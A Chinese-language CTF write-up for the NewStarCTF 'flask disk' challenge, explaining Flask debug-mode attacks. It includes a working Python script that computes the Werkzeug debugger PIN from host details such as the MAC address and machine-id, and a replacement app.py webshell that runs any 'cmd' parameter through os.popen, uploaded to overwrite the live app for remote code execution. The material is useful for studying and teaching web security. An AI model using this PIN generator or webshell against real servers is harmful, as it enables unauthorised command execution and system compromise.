[NewStarCTF]flask disk debug模式下的漏洞

打开环境,发现三个链接/list /upload /console,题目描述为flask,那就是与flask的debug模式相关的漏洞,在此之前我只听过debug的pin码漏洞,也就是关于pin码的生成的。这里提一下:

点击查看代码
pin码的生成取决于下面这几个因素:

1.服务器运行flask所登录的用户名。
2.modname
2.getattr(app, “name”, app.class.name)。
3.flask库下app.py的绝对路径。
4.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
5.最后一个就是机器的id。
其中modname就是flask.app,getattr(app, “name”, app.class.name)就是Flask这两个一般是不会变的,app.py的绝对路径我们可以直接从它的报错信息中得知。
登录用户可以在/etc/passwd中发现端倪。
机器的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,而docker的id在/proc/self/cgroup。
这里放一个大佬的生成pin码的payload。
点击查看代码
#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'flaskweb', # username
        'flask.app', # 一般为固定值modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print (genpin("02:42:ac:10:af:ca","b53170cd20be5202463fa5e0a54ea66fbeb1f2c058dcb09e105767cfc41acba4"))

if __name__ == '__main__':
    getshell()


话题回到今天这道题,虽然和debug模式相关,但不是pin码相关的,这里涉及到一个flask开发相关的设置。Python + Flask程序开发过程中,修改模板文件和修改Python程序后,默认情况下,需要重新运行服务,才能够刷新。如果想要修改模板/程序后,让代码立即生效,需要特殊处理。(我记得java springboot中也有不需要重启直接生效)在app.py设置
app.jinja_env.auto_reload = True。说这个对这题有什么用呢?主页有三个链接,可以上传文件,那我们是不是可以上传app.py,让其直接覆盖运行(有人就说了,你怎么知道你上传的地方是不是app.py所在目录,那题目给你第一个链接干嘛的,你上传一个试试就发现直接上传到了app.py所在目录)。问题实质上就变成了flask开启了debug模式下,app.py源文件被修改后会立刻加载,所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。上payload:

点击查看代码
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True) // 5000port是题目简介就告诉的
// a flask disk with a vulneribility. (The application is running on port 5000)

上传后传入参数cmd就可以进行rce了。
posted @ 2024-04-26 13:47  jockerliu  阅读(277)  评论(0编辑  收藏  举报